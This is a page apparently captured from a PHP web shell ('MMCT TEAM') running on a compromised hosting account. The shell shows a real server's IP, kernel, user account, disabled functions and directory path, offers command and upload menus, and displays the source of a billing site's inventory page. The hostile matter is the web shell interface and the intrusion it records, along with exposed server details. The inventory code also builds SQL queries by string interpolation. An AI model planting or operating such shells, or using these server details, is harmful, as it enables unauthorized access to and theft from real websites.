MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 216.73.216.128
Web Server : LiteSpeed
System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.32
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/inventory.php
<!----------------------------Script code for delete confirmation-------------------------------------->
<script language="JavaScript" type="text/javascript">
function checkDelete(){
    return confirm('Are you sure?');
}
</script>
<!----------------------------End Script for delet confirmation-------------------------------------->
<?php include('header.php') ?>

        <div class="breadcrumb-top">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li>
                <li class="breadcrumb-item active"><a href="#">Inventory</a></li>
                <!---<li class="breadcrumb-item active">Accessories</li> -->
            </ol>
        </div>

        <!--------------------------------Start main body section----------------------------------->
        <div class="col-lg-12">
            <div class="primary-panel">
                <div class="search">
                    <h2>Search</h2>
                    <div class="s-box">
                        <input type="text" id="myInput" onkeyup="myFunction()" class="form-control" placeholder="Search...">
                        <button type="button" class="btn btn-primary">Search</button>
                    </div>
                </div>
                <div class="heading">
                    <h2>Inventory</h2>
                    <div class="head-right">
                    <button type="button" class="btn btn-primary" style="margin-right: 10px;" id="export-table">Export Table</button> 
                    <!-- <a href="create_section21_report.php"><button type="button" class="btn btn-success"><i class="fa fa-plus" aria-hidden="true"></i>Create New Report</button></a> -->
                    </div>
                </div>
                <div class="table-responsive">
                    <table id="myTable" class="table table-bordered">
                        <tr>
                            <th onclick="sortTable(0)">S.N <span class="sort"></span></th>
                            <th onclick="sortTable(1)">Product Code<span class="sort"></span></th>
                            <th onclick="sortTable(2)">Product<span class="sort"></span></th>
                            <th onclick="sortTable(3)">Category<span class="sort"></span></th>
                            <th onclick="sortTable(4)">Stock In<span class="sort"></span></th>
                            <th onclick="sortTable(5)">Stock Out<span class="sort"></span></th>
                            <th onclick="sortTable(6)">Stock Available<span class="sort"></span></th>
                        </tr>
                    <?php 
                     $limits=25;
                     if(isset($_GET['page'])){
                      $page=$_GET['page'];
                    }else{
                      $page=1;
                    }
                     $offset= ($page-1) * $limits;


                     $sql="SELECT * FROM `products` JOIN category ON products.category_id = category.category_id   order by product_name asc  LIMIT $limits OFFSET $offset";
                     $run=mysqli_query($db,$sql);
                          $count = 1;
                           while($data=mysqli_fetch_assoc($run)){   

                              $product_id=$data['product_id'];
                              $product_name=$data['product_name'];    
                              $product_code=$data['product_code'];
                              $category_name=$data['category_name'];

                              $sql22="SELECT SUM(qty) AS value_sum  FROM `inventory`  WHERE  `type` = 1  AND `product_id`='$product_id' ";
                              $run22=mysqli_query($db,$sql22);
                              $row = mysqli_fetch_assoc($run22); 
                              $total_stockIN = $row['value_sum'];
                               

                               $sql33="SELECT SUM(qty) AS value_sum  FROM `inventory` WHERE  `type` = 2  AND `product_id`='$product_id' ";
                              $run33=mysqli_query($db,$sql33);
                              $row = mysqli_fetch_assoc($run33); 
                              $total_stockOUT = $row['value_sum'];
                               

                              $available_stock= ($total_stockIN - $total_stockOUT);
                                           
                    ?>


                        <tr>
                            <td><?php echo $count ;?></td>
                            <td><?php echo $product_code ;?></td>
                            <td><?php echo $product_name ;?></td>
                            <td><?php echo $category_name ;?></td>
                            <td><?php echo $total_stockIN ;?></td>
                            <td><?php echo $total_stockOUT ;?></td>
                            <?php if($available_stock > 5) { ?>
                            <td><?php echo $available_stock ;?></td>
                            <?php } else { ?>
                            <td style="color: red;"><?php echo $available_stock ;?></td>
                                <?php } ?>
                        </tr>
                        <?php $count++; } ?>
                    </table>
                     <?php 
                   $sql2="SELECT * FROM `products` JOIN category ON products.category_id = category.category_id  ";
                   $run2=mysqli_query($db,$sql2);
                    if(mysqli_num_rows($run2)>0){
                      $total_record=mysqli_num_rows($run2);
                      
                      $total_page=ceil($total_record/$limits);
                      ?>
                       <ul class="pagination">
                        <?php if($page > 1){ ?>
                        <li style="background: #09bdda;"><a href="section21_report.php?page=<?php echo $page-1 ;?>" style="color: white;"><i class="fa fa-arrow-left" aria-hidden="true"> Prev</i></a></li><?php } ?>
                    <?php  for($i=1; $i <= $total_page; $i++){
                      if($i==$page){
                        $active="active";
                      }else{
                         $active=""; 
                      }
                        ?>
                    <li class="<?php echo $active ;?>"><a href="section21_report.php?page=<?php echo $i ;?>"><?php echo $i ;?></a></li>
                    <?php }?>
                    <?php if($total_page >$page ){ ?>
                    <li style="background: #09bdda;"><a href="section21_report.php?page=<?php echo $page+1 ;?>" style="color: white;">Next <i class="fa fa-arrow-right" aria-hidden="true"></i></a></li><?php } ?>
                    
                  </ul>
                  <?php  } ?>
                </div>
            </div>
        </div>
    </div>
</div>



<!----------------------------------End Main body Section----------------------------------->
             
    </div>
</div>


<div class="modal fade" id="add">
    <div class="modal-dialog modal-sm">
        <div class="modal-content">
            <div class="modal-header">
                <h4 class="modal-title">Scan</h4>
                <button type="button" class="close" data-dismiss="modal">&times;</button>
            </div>
            <div class="modal-body">
                <img src="https://chart.googleapis.com/chart?chs=300x300&cht=qr&chl=http://webinfotechsolutions.com/" style="width: 100%;">
            </div>
        </div>
    </div>
</div>

<?php include('footer.php') ?>

<!----- search script code start here--------->
<script src="https://cdn.rawgit.com/rainabba/jquery-table2excel/1.1.0/dist/jquery.table2excel.min.js"></script>
<script>
    $(document).ready(function(){
      /* Search table */
      
      $("#myInput").on("keyup", function() {
        var value = $(this).val().toLowerCase();
        $("#myTable tr").filter(function() {
          $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)
        });
      });
      /* Export table */
      $('#export-table').click(function(){
        $("#myTable").table2excel({
            filename: "Inventory_report.xls"
        });
      })
    });
</script>
        
        <!----------- search script code end here----->





MMCT - 2023